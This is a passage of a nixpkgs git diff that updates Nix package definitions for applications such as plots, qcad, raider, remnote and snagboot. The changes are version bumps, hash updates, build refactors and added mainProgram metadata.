platforms = [ "x86_64-linux" "i686-linux" ]; + mainProgram = "playonlinux"; }; } diff --git a/pkgs/applications/misc/plots/default.nix b/pkgs/applications/misc/plots/default.nix index 01a60baa2ab34..4e6b9d24a56be 100644 --- a/pkgs/applications/misc/plots/default.nix +++ b/pkgs/applications/misc/plots/default.nix @@ -1,12 +1,13 @@ -{ fetchFromGitHub +{ lib +, fetchFromGitHub +, python3Packages , gobject-introspection -, lib , libadwaita -, python3 , wrapGAppsHook , lmmath }: -python3.pkgs.buildPythonApplication rec { + +python3Packages.buildPythonApplication rec { pname = "plots"; version = "0.8.5"; @@ -17,36 +18,21 @@ python3.pkgs.buildPythonApplication rec { hash = "sha256-GjNpaorxkkhZsqrKq4kO5nqF5+4I4tmSc023AZpY8Sw="; }; - nativeBuildInputs = [ - gobject-introspection - wrapGAppsHook - ]; - - propagatedBuildInputs = [ - libadwaita - (python3.withPackages (p: with p; [ - numpy - pygobject3 - lark - jinja2 - freetype-py - pyopengl - pycairo - pyglm - ])) - ]; + nativeBuildInputs = [ gobject-introspection wrapGAppsHook ]; + buildInputs = [ libadwaita ]; - nativeCheckInputs = [ - (python3.withPackages (p: with p; [ - pytest - ])) + propagatedBuildInputs = with python3Packages; [ + pygobject3 + numpy + lark + jinja2 + freetype-py + pyopengl + pycairo + pyglm ]; - dontWrapGApps = true; - - preFixup = '' - makeWrapperArgs+=("''${gappsWrapperArgs[@]}") - ''; + nativeCheckInputs = with python3Packages; [ pytest ]; postInstall = '' install -D ${lmmath}/share/fonts/opentype/latinmodern-math.otf -t $out/share/fonts/ @@ -62,6 +48,12 @@ python3.pkgs.buildPythonApplication rec { done ''; + dontWrapGApps = true; + + preFixup = '' + makeWrapperArgs+=("''${gappsWrapperArgs[@]}") + ''; + meta = with lib; { description = "Graph plotting app for GNOME"; longDescription = '' diff --git a/pkgs/applications/misc/pokemon-colorscripts-mac/default.nix b/pkgs/applications/misc/pokemon-colorscripts-mac/default.nix index 62c6ed0f4a42e..5205e8ad6eafa 100644 --- a/pkgs/applications/misc/pokemon-colorscripts-mac/default.nix +++ b/pkgs/applications/misc/pokemon-colorscripts-mac/default.nix @@ -48,5 +48,6 @@ stdenv.mkDerivation rec { license = licenses.mit; maintainers = [ maintainers.wesleyjrz ]; platforms = platforms.unix; + mainProgram = "pokemon-colorscripts"; }; } diff --git a/pkgs/applications/misc/polar-bookshelf/default.nix b/pkgs/applications/misc/polar-bookshelf/default.nix index 1c286d611e6be..ad731c1050c9d 100644 --- a/pkgs/applications/misc/polar-bookshelf/default.nix +++ b/pkgs/applications/misc/polar-bookshelf/default.nix @@ -125,7 +125,7 @@ stdenv.mkDerivation rec { sourceProvenance = with lib.sourceTypes; [ binaryNativeCode ]; license = lib.licenses.gpl3Only; platforms = lib.platforms.linux; - maintainers = [ lib.maintainers.noneucat ]; + maintainers = [ ]; }; } diff --git a/pkgs/applications/misc/pomodoro/default.nix b/pkgs/applications/misc/pomodoro/default.nix index d180c8e436e7a..fe09f5328ee81 100644 --- a/pkgs/applications/misc/pomodoro/default.nix +++ b/pkgs/applications/misc/pomodoro/default.nix @@ -21,5 +21,6 @@ rustPlatform.buildRustPackage rec { maintainers = with maintainers; [ annaaurora ]; # error: redefinition of module 'ObjectiveC' broken = stdenv.isDarwin; + mainProgram = "pomodoro"; }; } diff --git a/pkgs/applications/misc/pop-launcher/default.nix b/pkgs/applications/misc/pop-launcher/default.nix index 24bcd9ab89e46..b8ba5133904b2 100644 --- a/pkgs/applications/misc/pop-launcher/default.nix +++ b/pkgs/applications/misc/pop-launcher/default.nix @@ -57,5 +57,6 @@ rustPlatform.buildRustPackage rec { platforms = platforms.linux; license = licenses.mpl20; maintainers = with maintainers; [ samhug ]; + mainProgram = "pop-launcher"; }; } diff --git a/pkgs/applications/misc/pop/default.nix b/pkgs/applications/misc/pop/default.nix index 02ebcaa2fb960..3fbf063e73150 100644 --- a/pkgs/applications/misc/pop/default.nix +++ b/pkgs/applications/misc/pop/default.nix @@ -36,5 +36,6 @@ buildGoModule rec { changelog = "https://github.com/charmbracelet/pop/releases/tag/v${version}"; license = licenses.mit; maintainers = with maintainers; [ caarlos0 maaslalani ]; + mainProgram = "pop"; }; } diff --git a/pkgs/applications/misc/porsmo/default.nix b/pkgs/applications/misc/porsmo/default.nix index 2e158187e4371..f741ad2d6b482 100644 --- a/pkgs/applications/misc/porsmo/default.nix +++ b/pkgs/applications/misc/porsmo/default.nix @@ -43,5 +43,6 @@ rustPlatform.buildRustPackage rec { homepage = "https://github.com/ColorCookie-dev/porsmo"; license = licenses.mit; maintainers = with maintainers; [ MoritzBoehme ]; + mainProgram = "porsmo"; }; } diff --git a/pkgs/applications/misc/premid/default.nix b/pkgs/applications/misc/premid/default.nix index df2f0d6b28a1d..f621d510e411d 100644 --- a/pkgs/applications/misc/premid/default.nix +++ b/pkgs/applications/misc/premid/default.nix @@ -89,5 +89,6 @@ stdenv.mkDerivation rec { license = licenses.mpl20; maintainers = with maintainers; [ natto1784 ]; platforms = [ "x86_64-linux" ]; + mainProgram = "premid"; }; } diff --git a/pkgs/applications/misc/process-compose/default.nix b/pkgs/applications/misc/process-compose/default.nix index d674515e8bae4..8c621dcd9b7a3 100644 --- a/pkgs/applications/misc/process-compose/default.nix +++ b/pkgs/applications/misc/process-compose/default.nix @@ -8,13 +8,13 @@ let config-module = "github.com/f1bonacc1/process-compose/src/config"; in buildGoModule rec { pname = "process-compose"; - version = "0.85.0"; + version = "0.88.0"; src = fetchFromGitHub { owner = "F1bonacc1"; repo = pname; rev = "v${version}"; - hash = "sha256-UH9nC+vqG3nRpv1HkfxW/vQ6ZSZFF7+vpHm93ZQcMrA="; + hash = "sha256-YiBo6p+eB7lY6ey/S/Glfj3egi1jL4Gjs681nTxEjE8="; # populate values that require us to use git. By doing this in postFetch we # can delete .git afterwards and maintain better reproducibility of the src. leaveDotGit = true; @@ -43,7 +43,7 @@ buildGoModule rec { installShellFiles ]; - vendorHash = "sha256-LZb/2yuJYqppsOxZoOkTZPMxYSSIJjVDzsqJ8SP7N9k="; + vendorHash = "sha256-KtktEq/5V/YE6VtWprUei0sIcwcirju+Yxj1yTgWmYY="; doCheck = false; @@ -62,5 +62,6 @@ buildGoModule rec { changelog = "https://github.com/F1bonacc1/process-compose/releases/tag/v${version}"; license = licenses.asl20; maintainers = with maintainers; [ thenonameguy ]; + mainProgram = "process-compose"; }; } diff --git a/pkgs/applications/misc/prusa-slicer/default.nix b/pkgs/applications/misc/prusa-slicer/default.nix index 724bfcc4ecced..0b5a5065cf120 100644 --- a/pkgs/applications/misc/prusa-slicer/default.nix +++ b/pkgs/applications/misc/prusa-slicer/default.nix @@ -66,12 +66,12 @@ let in stdenv.mkDerivation (finalAttrs: { pname = "prusa-slicer"; - version = "2.7.1"; + version = "2.7.2"; src = fetchFromGitHub { owner = "prusa3d"; repo = "PrusaSlicer"; - hash = "sha256-hSHeh3qJroCFnzeoVz6LKtCK8r0ealWSFz9cW4xvSb8="; + hash = "sha256-IZRw6qEe4hM/Sfhx0je11vaMHeuW/e4ZP5zMTuptb2k="; rev = "version_${finalAttrs.version}"; }; diff --git a/pkgs/applications/misc/psi-notify/default.nix b/pkgs/applications/misc/psi-notify/default.nix index e086ee01afeda..b984cc5cd5c3d 100644 --- a/pkgs/applications/misc/psi-notify/default.nix +++ b/pkgs/applications/misc/psi-notify/default.nix @@ -35,5 +35,6 @@ stdenv.mkDerivation rec { homepage = "https://github.com/cdown/psi-notify"; platforms = platforms.linux; maintainers = with maintainers; [ eduarrrd ]; + mainProgram = "psi-notify"; }; } diff --git a/pkgs/applications/misc/pstree/default.nix b/pkgs/applications/misc/pstree/default.nix index d25e4a6f90baa..7b979d486faa4 100644 --- a/pkgs/applications/misc/pstree/default.nix +++ b/pkgs/applications/misc/pstree/default.nix @@ -34,5 +34,6 @@ stdenv.mkDerivation rec { maintainers = [ maintainers.c0bw3b ]; platforms = platforms.unix; priority = 5; # Lower than psmisc also providing pstree on Linux platforms + mainProgram = "pstree"; }; } diff --git a/pkgs/applications/misc/pt/default.nix b/pkgs/applications/misc/pt/default.nix index ef490702a672f..2cbcbdd7faa06 100644 --- a/pkgs/applications/misc/pt/default.nix +++ b/pkgs/applications/misc/pt/default.nix @@ -13,5 +13,6 @@ bundlerApp { license = licenses.mit; maintainers = with maintainers; [ ebzzry manveru nicknovitski ]; platforms = platforms.unix; + mainProgram = "pt"; }; } diff --git a/pkgs/applications/misc/qcad/default.nix b/pkgs/applications/misc/qcad/default.nix index 9ab33ad294923..e67a96fe7cd3d 100644 --- a/pkgs/applications/misc/qcad/default.nix +++ b/pkgs/applications/misc/qcad/default.nix @@ -18,14 +18,14 @@ mkDerivation rec { pname = "qcad"; - version = "3.29.3.1"; + version = "3.29.4.1"; src = fetchFromGitHub { name = "qcad-${version}-src"; owner = "qcad"; repo = "qcad"; rev = "v${version}"; - sha256 = "sha256-QPBiEoOseNUzAWQHPEBq6O0jg8ed5dH+8xlyRCct0g4="; + hash = "sha256-00lPgiE3hsP3SL96ygBP91CaAWi1IGOYUO7zC/ORG1U="; }; patches = [ @@ -65,23 +65,23 @@ mkDerivation rec { "MUPARSER_DIR=${muparser}" "INSTALLROOT=$(out)" "BOOST_DIR=${boost.dev}" + "QMAKE_CXXFLAGS=-std=c++14" ]; - qtWrapperArgs = - lib.optionals stdenv.isLinux [ "--prefix LD_LIBRARY_PATH : ${placeholder "out"}/lib" ] - ++ - lib.optionals stdenv.isDarwin [ "--prefix DYLD_LIBRARY_PATH : ${placeholder "out"}/lib" ]; + qtWrapperArgs = lib.optionals stdenv.isLinux [ + "--prefix LD_LIBRARY_PATH : ${placeholder "out"}/lib" + ] ++ lib.optionals stdenv.isDarwin [ + "--prefix DYLD_LIBRARY_PATH : ${placeholder "out"}/lib" + ]; installPhase = '' runHook preInstall - '' + lib.optionalString stdenv.isLinux '' install -Dm555 release/qcad-bin $out/bin/qcad '' + lib.optionalString stdenv.isDarwin '' install -Dm555 release/QCAD.app/Contents/MacOS/QCAD $out/bin/qcad mkdir -p $out/lib - '' + - '' + '' + '' install -Dm555 -t $out/lib release/libspatialindexnavel${stdenv.hostPlatform.extensions.sharedLibrary} install -Dm555 -t $out/lib release/libqcadcore${stdenv.hostPlatform.extensions.sharedLibrary} install -Dm555 -t $out/lib release/libqcadentity${stdenv.hostPlatform.extensions.sharedLibrary} @@ -121,11 +121,12 @@ mkDerivation rec { runHook postInstall ''; - meta = with lib; { + meta = { description = "2D CAD package based on Qt"; homepage = "https://qcad.org"; - license = licenses.gpl3Only; - maintainers = with maintainers; [ yvesf ]; + license = lib.licenses.gpl3Only; + mainProgram = "qcad"; + maintainers = with lib.maintainers; [ yvesf ]; platforms = qtbase.meta.platforms; }; } diff --git a/pkgs/applications/misc/qlcplus/default.nix b/pkgs/applications/misc/qlcplus/default.nix index 5ddb8170fcefe..840d1a89b94f5 100644 --- a/pkgs/applications/misc/qlcplus/default.nix +++ b/pkgs/applications/misc/qlcplus/default.nix @@ -29,16 +29,20 @@ mkDerivation rec { qmakeFlags = [ "INSTALLROOT=$(out)" ]; - env.NIX_CFLAGS_COMPILE = "-Wno-error=deprecated-declarations"; - postPatch = '' patchShebangs . sed -i -e '/unix:!macx:INSTALLROOT += \/usr/d' \ -e "s@\$\$LIBSDIR/qt4/plugins@''${qtPluginPrefix}@" \ -e "s@/etc/udev/rules.d@''${out}/lib/udev/rules.d@" \ variables.pri + + # Fix gcc-13 build failure by removing blanket -Werror. + fgrep Werror variables.pri + substituteInPlace variables.pri --replace-fail "QMAKE_CXXFLAGS += -Werror" "" ''; + enableParallelBuilding = true; + postInstall = '' ln -sf $out/lib/*/libqlcplus* $out/lib ''; diff --git a/pkgs/applications/misc/quicksynergy/default.nix b/pkgs/applications/misc/quicksynergy/default.nix index d26972d97fb7f..5a93f647291d2 100644 --- a/pkgs/applications/misc/quicksynergy/default.nix +++ b/pkgs/applications/misc/quicksynergy/default.nix @@ -33,5 +33,6 @@ stdenv.mkDerivation rec { license = lib.licenses.gpl2; maintainers = [ lib.maintainers.spinus ]; platforms = lib.platforms.linux; + mainProgram = "quicksynergy"; }; } diff --git a/pkgs/applications/misc/raider/default.nix b/pkgs/applications/misc/raider/default.nix index cf368fbe79dca..2152a7e6f229e 100644 --- a/pkgs/applications/misc/raider/default.nix +++ b/pkgs/applications/misc/raider/default.nix @@ -1,11 +1,10 @@ -{ appstream-glib +{ appstream , blueprint-compiler , desktop-file-utils , fetchFromGitHub , gettext , glib , gtk4 -, itstool , lib , libadwaita , meson @@ -15,22 +14,22 @@ , stdenv , wrapGAppsHook4 }: + stdenv.mkDerivation rec { pname = "raider"; - version = "1.3.1"; + version = "2.1.0"; src = fetchFromGitHub { owner = "ADBeveridge"; repo = "raider"; rev = "v${version}"; - hash = "sha256-fyE0CsQp2UVh+7bAQo+GHEF0k8Gwl9j4qclh04AQiVI="; + hash = "sha256-ZR40sbEKvZxGxRaV5H9D6kBP9ZgUdc425XgIhqidWLI="; }; nativeBuildInputs = [ - appstream-glib + appstream blueprint-compiler desktop-file-utils - itstool meson ninja pkg-config @@ -44,15 +43,23 @@ stdenv.mkDerivation rec { libadwaita ]; - postInstall = '' - glib-compile-schemas $out/share/glib-2.0/schemas - ''; - meta = with lib; { - description = "Securely delete your files"; - homepage = "https://apps.gnome.org/app/com.github.ADBeveridge.Raider"; + description = "Permanently delete your files (also named File Shredder)"; + longDescription = '' + Raider is a shredding program built for the GNOME + desktop. It is meant to remove files from your + computer permanently. Within a certain limit, it is + effective. However, the way data is written physically + to SSDs at the hardware level ensures that shredding + is never perfect, and no software can fix that. + However, top-level agencies are usually the only ones + who can recover such data, due to the time, effort, + money and patience required to extract it effectively. + ''; + homepage = "https://apps.gnome.org/Raider"; license = licenses.gpl3Plus; - maintainers = with maintainers; [ benediktbroich ]; + mainProgram = "raider"; + maintainers = with maintainers; [ benediktbroich aleksana ]; platforms = platforms.unix; }; } diff --git a/pkgs/applications/misc/ratt/default.nix b/pkgs/applications/misc/ratt/default.nix index 15ce7a2e14092..afdc3c231418c 100644 --- a/pkgs/applications/misc/ratt/default.nix +++ b/pkgs/applications/misc/ratt/default.nix @@ -21,5 +21,6 @@ buildGoModule rec { homepage = "https://git.sr.ht/~ghost08/ratt"; license = licenses.mit; maintainers = with maintainers; [ kmein ]; + mainProgram = "ratt"; }; } diff --git a/pkgs/applications/misc/reddsaver/default.nix b/pkgs/applications/misc/reddsaver/default.nix index 7bcf774b01165..1c6202eb0deeb 100644 --- a/pkgs/applications/misc/reddsaver/default.nix +++ b/pkgs/applications/misc/reddsaver/default.nix @@ -31,6 +31,7 @@ rustPlatform.buildRustPackage rec { homepage = "https://github.com/manojkarthick/reddsaver"; license = with licenses; [ mit /* or */ asl20 ]; maintainers = [ maintainers.manojkarthick ]; + mainProgram = "reddsaver"; }; } diff --git a/pkgs/applications/misc/remnote/default.nix b/pkgs/applications/misc/remnote/default.nix index a7c781ebdda8d..2afbb2c505e44 100644 --- a/pkgs/applications/misc/remnote/default.nix +++ b/pkgs/applications/misc/remnote/default.nix @@ -6,19 +6,22 @@ stdenv.mkDerivation (finalAttrs: let in { pname = "remnote"; - version = "1.13.52"; + version = "1.14.13"; src = fetchurl { url = "https://download.remnote.io/remnote-desktop/RemNote-${version}.AppImage"; - hash = "sha256-4wN4lqeA9olo6igr1M1JhecPG/ruVivdOyWiRlDAzQQ="; + hash = "sha256-WpNgdQGNz1Vv3MQe6tgnkzf+rvxMeoDQns5SqKNP7F8="; }; + appexec = appimageTools.wrapType2 { inherit pname version src; }; + icon = fetchurl { url = "https://www.remnote.io/icon.png"; hash = "sha256-r5D7fNefKPdjtmV7f/88Gn3tqeEG8LGuD4nHI/sCk94="; }; + desktopItem = makeDesktopItem { type = "Application"; name = "remnote"; @@ -29,18 +32,21 @@ in categories = [ "Office" ]; mimeTypes = [ "x-scheme-handler/remnote" "x-scheme-handler/rn" ]; }; + dontUnpack = true; dontConfigure = true; dontBuild = true; + installPhase = '' runHook preInstall - install -D ${appexec}/bin/remnote-${version} $out/bin/remnote - install -m 444 -D "${desktopItem}/share/applications/"* -t $out/share/applications/ - install -m 444 -D ${icon} $out/share/pixmaps/remnote.png + install -Dm755 ${appexec}/bin/remnote-${version} $out/bin/remnote + install -Dm444 "${desktopItem}/share/applications/"* -t $out/share/applications/ + install -Dm444 ${icon} $out/share/pixmaps/remnote.png runHook postInstall ''; + meta = with lib; { description = "A note-taking application focused on learning and productivity"; homepage = "https://remnote.com/"; diff --git a/pkgs/applications/misc/resumed/default.nix b/pkgs/applications/misc/resumed/default.nix index 75ee72a38b7f8..e1f6928dcdbb7 100644 --- a/pkgs/applications/misc/resumed/default.nix +++ b/pkgs/applications/misc/resumed/default.nix @@ -18,5 +18,6 @@ buildNpmPackage rec { homepage = "https://github.com/rbardini/resumed"; license = licenses.mit; maintainers = with maintainers; [ ambroisie ]; + mainProgram = "resumed"; }; } diff --git a/pkgs/applications/misc/revanced-cli/default.nix b/pkgs/applications/misc/revanced-cli/default.nix index 96c8f43a7249e..56923e0ee1959 100644 --- a/pkgs/applications/misc/revanced-cli/default.nix +++ b/pkgs/applications/misc/revanced-cli/default.nix @@ -32,5 +32,6 @@ stdenv.mkDerivation rec { license = licenses.gpl3Only; sourceProvenance = with sourceTypes; [ binaryBytecode ]; maintainers = with maintainers; [ jopejoe1 ]; + mainProgram = "revanced-cli"; }; } diff --git a/pkgs/applications/misc/river-luatile/default.nix b/pkgs/applications/misc/river-luatile/default.nix index 6b5c27bab5ae7..8999ea2445e57 100644 --- a/pkgs/applications/misc/river-luatile/default.nix +++ b/pkgs/applications/misc/river-luatile/default.nix @@ -32,5 +32,6 @@ rustPlatform.buildRustPackage rec { license = licenses.gpl3Only; platforms = platforms.linux; maintainers = with maintainers; [ pinpox ]; + mainProgram = "river-luatile"; }; } diff --git a/pkgs/applications/misc/river-tag-overlay/default.nix b/pkgs/applications/misc/river-tag-overlay/default.nix index 902f6e8161489..e1652cf70da71 100644 --- a/pkgs/applications/misc/river-tag-overlay/default.nix +++ b/pkgs/applications/misc/river-tag-overlay/default.nix @@ -35,5 +35,6 @@ stdenv.mkDerivation rec { license = licenses.gpl3Only; maintainers = with maintainers; [ edrex ]; platforms = platforms.linux; + mainProgram = "river-tag-overlay"; }; } diff --git a/pkgs/applications/misc/rivercarro/default.nix b/pkgs/applications/misc/rivercarro/default.nix index 5962b49ffc6a0..93b476973f55f 100644 --- a/pkgs/applications/misc/rivercarro/default.nix +++ b/pkgs/applications/misc/rivercarro/default.nix @@ -45,5 +45,6 @@ stdenv.mkDerivation (finalAttrs: { license = licenses.gpl3Plus; maintainers = with maintainers; [ kraem ]; inherit (zig_0_11.meta) platforms; + mainProgram = "rivercarro"; }; }) diff --git a/pkgs/applications/misc/rlaunch/default.nix b/pkgs/applications/misc/rlaunch/default.nix index 15f26a24d602b..da90dbe5d74a5 100644 --- a/pkgs/applications/misc/rlaunch/default.nix +++ b/pkgs/applications/misc/rlaunch/default.nix @@ -29,5 +29,6 @@ rustPlatform.buildRustPackage rec { license = licenses.mit; platforms = platforms.linux; maintainers = with maintainers; [ danc86 ]; + mainProgram = "rlaunch"; }; } diff --git a/pkgs/applications/misc/robo3t/default.nix b/pkgs/applications/misc/robo3t/default.nix index ae32aac267e17..c2ea6a2a25520 100644 --- a/pkgs/applications/misc/robo3t/default.nix +++ b/pkgs/applications/misc/robo3t/default.nix @@ -94,5 +94,6 @@ stdenv.mkDerivation rec { sourceProvenance = with sourceTypes; [ binaryNativeCode ]; license = licenses.gpl3Only; maintainers = with maintainers; [ eperuffo ]; + mainProgram = "robo3t"; }; } diff --git a/pkgs/applications/misc/rofi-emoji/default.nix b/pkgs/applications/misc/rofi-emoji/default.nix index 6d66827138558..921ba4ddd9b32 100644 --- a/pkgs/applications/misc/rofi-emoji/default.nix +++ b/pkgs/applications/misc/rofi-emoji/default.nix @@ -17,13 +17,13 @@ stdenv.mkDerivation rec { pname = "rofi-emoji"; - version = "3.2.0"; + version = "3.3.0"; src = fetchFromGitHub { owner = "Mange"; repo = pname; rev = "v${version}"; - sha256 = "sha256-P7AHLwqicKYj5I0Rl9B5mdD/v9iW9aihkNo7enonRF4="; + sha256 = "sha256-Y+E5TViKFVtqXMLVEcq1VMLPzG04vfZyThUM7a/fFGM="; }; patches = [ diff --git a/pkgs/applications/misc/rofi/wayland.nix b/pkgs/applications/misc/rofi/wayland.nix index 1466d3e23233e..51702e521e81e 100644 --- a/pkgs/applications/misc/rofi/wayland.nix +++ b/pkgs/applications/misc/rofi/wayland.nix @@ -9,14 +9,14 @@ rofi-unwrapped.overrideAttrs (oldAttrs: rec { pname = "rofi-wayland-unwrapped"; - version = "1.7.5+wayland2"; + version = "1.7.5+wayland3"; src = fetchFromGitHub { owner = "lbonn"; repo = "rofi"; rev = version; fetchSubmodules = true; - sha256 = "sha256-5pxDA/71PV4B5T3fzLKVC4U8Gt13vwy3xSDPDsSDAKU="; + sha256 = "sha256-pKxraG3fhBh53m+bLPzCigRr6dBcH/A9vbdf67CO2d8="; }; nativeBuildInputs = oldAttrs.nativeBuildInputs ++ [ wayland-scanner ]; diff --git a/pkgs/applications/misc/rsclock/default.nix b/pkgs/applications/misc/rsclock/default.nix index 8a6c5588494f1..1830a60087269 100644 --- a/pkgs/applications/misc/rsclock/default.nix +++ b/pkgs/applications/misc/rsclock/default.nix @@ -18,5 +18,6 @@ rustPlatform.buildRustPackage rec { homepage = "https://github.com/valebes/rsClock"; license = licenses.mit; maintainers = with maintainers; [valebes]; + mainProgram = "rsclock"; }; } diff --git a/pkgs/applications/misc/rss-bridge-cli/default.nix b/pkgs/applications/misc/rss-bridge-cli/default.nix index 05d2bca99b1bc..e7714a21b1293 100644 --- a/pkgs/applications/misc/rss-bridge-cli/default.nix +++ b/pkgs/applications/misc/rss-bridge-cli/default.nix @@ -23,5 +23,6 @@ in (writeShellScriptBin "rss-bridge-cli" '' homepage = "https://github.com/RSS-Bridge/rss-bridge"; license = licenses.unlicense; maintainers = with maintainers; [ ymeister ]; + mainProgram = "rss-bridge-cli"; }; }) diff --git a/pkgs/applications/misc/rusty-psn/default.nix b/pkgs/applications/misc/rusty-psn/default.nix index d9e713b0abf79..c9968f7257f80 100644 --- a/pkgs/applications/misc/rusty-psn/default.nix +++ b/pkgs/applications/misc/rusty-psn/default.nix @@ -87,5 +87,6 @@ rustPlatform.buildRustPackage rec { license = licenses.mit; platforms = [ "x86_64-linux" ]; maintainers = with maintainers; [ AngryAnt ]; + mainProgram = "rusty-psn"; }; } diff --git a/pkgs/applications/misc/sampler/default.nix b/pkgs/applications/misc/sampler/default.nix index e5e090e7da4dc..a111142bbde4b 100644 --- a/pkgs/applications/misc/sampler/default.nix +++ b/pkgs/applications/misc/sampler/default.nix @@ -35,5 +35,6 @@ buildGoModule rec { homepage = "https://sampler.dev"; license = licenses.gpl3; maintainers = with maintainers; [ uvnikita ]; + mainProgram = "sampler"; }; } diff --git a/pkgs/applications/misc/sdcv/default.nix b/pkgs/applications/misc/sdcv/default.nix index 3ddef749c568a..206ca96d01002 100644 --- a/pkgs/applications/misc/sdcv/default.nix +++ b/pkgs/applications/misc/sdcv/default.nix @@ -27,5 +27,6 @@ stdenv.mkDerivation rec { maintainers = with maintainers; [ lovek323 ]; license = licenses.gpl2; platforms = platforms.unix; + mainProgram = "sdcv"; }; } diff --git a/pkgs/applications/misc/semver/default.nix b/pkgs/applications/misc/semver/default.nix index cdafd32027192..53e06a4c406ec 100644 --- a/pkgs/applications/misc/semver/default.nix +++ b/pkgs/applications/misc/semver/default.nix @@ -19,5 +19,6 @@ buildGoModule rec { description = "A small CLI to fish out the current or next semver version from a git repository"; maintainers = with maintainers; [ catouc ]; license = licenses.mit; + mainProgram = "semver"; }; } diff --git a/pkgs/applications/misc/senv/default.nix b/pkgs/applications/misc/senv/default.nix index b45085610d13d..b542966e828a6 100644 --- a/pkgs/applications/misc/senv/default.nix +++ b/pkgs/applications/misc/senv/default.nix @@ -21,5 +21,6 @@ buildGoModule rec { license = licenses.mit; maintainers = with maintainers; [ SuperSandro2000 ]; broken = stdenv.isDarwin; # needs golang.org/x/sys bump + mainProgram = "senv"; }; } diff --git a/pkgs/applications/misc/shavee/default.nix b/pkgs/applications/misc/shavee/default.nix index e419ccafeb0e7..7854cfbd17f4d 100644 --- a/pkgs/applications/misc/shavee/default.nix +++ b/pkgs/applications/misc/shavee/default.nix @@ -43,5 +43,6 @@ rustPlatform.buildRustPackage rec { license = lib.licenses.mit; maintainers = with lib.maintainers; [ jasonodoom ]; platforms = lib.platforms.linux; + mainProgram = "shavee"; }; } diff --git a/pkgs/applications/misc/shell-genie/default.nix b/pkgs/applications/misc/shell-genie/default.nix index 9c64415132fa3..dd6c723121d4b 100644 --- a/pkgs/applications/misc/shell-genie/default.nix +++ b/pkgs/applications/misc/shell-genie/default.nix @@ -8,7 +8,7 @@ with python3.pkgs; buildPythonPackage rec { pname = "shell-genie"; version = "0.2.10"; - format = "pyproject"; + pyproject = true; src = fetchPypi { pname = "shell_genie"; @@ -17,6 +17,7 @@ buildPythonPackage rec { }; pythonRelaxDeps = [ + "openai" "typer" ]; diff --git a/pkgs/applications/misc/sidequest/default.nix b/pkgs/applications/misc/sidequest/default.nix index 226bb571b2ce0..c472fdb65ec97 100644 --- a/pkgs/applications/misc/sidequest/default.nix +++ b/pkgs/applications/misc/sidequest/default.nix @@ -106,6 +106,7 @@ license = licenses.mit; maintainers = with maintainers; [ joepie91 rvolosatovs ]; platforms = [ "x86_64-linux" ]; + mainProgram = "SideQuest"; }; }; diff --git a/pkgs/applications/misc/sigi/default.nix b/pkgs/applications/misc/sigi/default.nix index 1528cd31065eb..16df94f4d0f96 100644 --- a/pkgs/applications/misc/sigi/default.nix +++ b/pkgs/applications/misc/sigi/default.nix @@ -26,5 +26,6 @@ rustPlatform.buildRustPackage rec { homepage = "https://github.com/sigi-cli/sigi"; license = licenses.gpl2; maintainers = with maintainers; [ booniepepper ]; + mainProgram = "sigi"; }; } diff --git a/pkgs/applications/misc/skate/default.nix b/pkgs/applications/misc/skate/default.nix index 6dc73d74411fc..16849996441fe 100644 --- a/pkgs/applications/misc/skate/default.nix +++ b/pkgs/applications/misc/skate/default.nix @@ -22,5 +22,6 @@ buildGoModule rec { changelog = "https://github.com/charmbracelet/skate/releases/tag/${src.rev}"; license = licenses.mit; maintainers = with maintainers; [ figsoda penguwin ]; + mainProgram = "skate"; }; } diff --git a/pkgs/applications/misc/slides/default.nix b/pkgs/applications/misc/slides/default.nix index 55229c206f18d..0c97ff7f14fa9 100644 --- a/pkgs/applications/misc/slides/default.nix +++ b/pkgs/applications/misc/slides/default.nix @@ -35,5 +35,6 @@ buildGoModule rec { changelog = "https://github.com/maaslalani/slides/releases/tag/v${version}"; license = licenses.mit; maintainers = with maintainers; [ maaslalani penguwin ]; + mainProgram = "slides"; }; } diff --git a/pkgs/applications/misc/slippy/default.nix b/pkgs/applications/misc/slippy/default.nix index f599c4f47cfdb..40de95838ad5b 100644 --- a/pkgs/applications/misc/slippy/default.nix +++ b/pkgs/applications/misc/slippy/default.nix @@ -64,5 +64,6 @@ rustPlatform.buildRustPackage rec { changelog = "https://github.com/axodotdev/slippy/releases/tag/${src.rev}"; license = with licenses; [ asl20 mit ]; maintainers = with maintainers; [ figsoda ]; + mainProgram = "slippy"; }; } diff --git a/pkgs/applications/misc/slstatus/default.nix b/pkgs/applications/misc/slstatus/default.nix index 83407f94fcb6e..fcac061de0d14 100644 --- a/pkgs/applications/misc/slstatus/default.nix +++ b/pkgs/applications/misc/slstatus/default.nix @@ -42,5 +42,6 @@ stdenv.mkDerivation rec { license = licenses.isc; maintainers = with maintainers; [ oxzi ]; platforms = platforms.linux; + mainProgram = "slstatus"; }; } diff --git a/pkgs/applications/misc/slweb/default.nix b/pkgs/applications/misc/slweb/default.nix index ee5e01b79956a..b1e92cb9a39ce 100644 --- a/pkgs/applications/misc/slweb/default.nix +++ b/pkgs/applications/misc/slweb/default.nix @@ -37,5 +37,6 @@ stdenv.mkDerivation (finalAttrs: { license = licenses.gpl3Plus; platforms = platforms.linux; maintainers = with maintainers; [ GaetanLepage ]; + mainProgram = "slweb"; }; }) diff --git a/pkgs/applications/misc/smpq/default.nix b/pkgs/applications/misc/smpq/default.nix index 7a6264d96547d..a1879241bd214 100644 --- a/pkgs/applications/misc/smpq/default.nix +++ b/pkgs/applications/misc/smpq/default.nix @@ -22,5 +22,6 @@ stdenv.mkDerivation rec { license = licenses.gpl3Only; platforms = platforms.all; maintainers = with maintainers; [ aanderse karolchmist ]; + mainProgram = "smpq"; }; } diff --git a/pkgs/applications/misc/snagboot/default.nix b/pkgs/applications/misc/snagboot/default.nix index 61c906ec464ac..353712d5ba896 100644 --- a/pkgs/applications/misc/snagboot/default.nix +++ b/pkgs/applications/misc/snagboot/default.nix @@ -10,14 +10,14 @@ python3.pkgs.buildPythonApplication rec { pname = "snagboot"; - version = "1.2"; + version = "1.3"; format = "pyproject"; src = fetchFromGitHub { owner = "bootlin"; repo = "snagboot"; rev = "v${version}"; - hash = "sha256-OuHY5+2puZAERtwmXduUW5Wjus6KeQLJLcGcl48umLA="; + hash = "sha256-ergTa6uR1SyR27H2HAWp/rtgalCnQge07Pi24PrsW+8="; }; nativeBuildInputs = [ @@ -33,7 +33,6 @@ python3.pkgs.buildPythonApplication rec { setuptools pyusb pyserial - hid crccheck six xmodem diff --git a/pkgs/applications/misc/snixembed/default.nix b/pkgs/applications/misc/snixembed/default.nix index 71a5837cc1260..21ec5dac81dff 100644 --- a/pkgs/applications/misc/snixembed/default.nix +++ 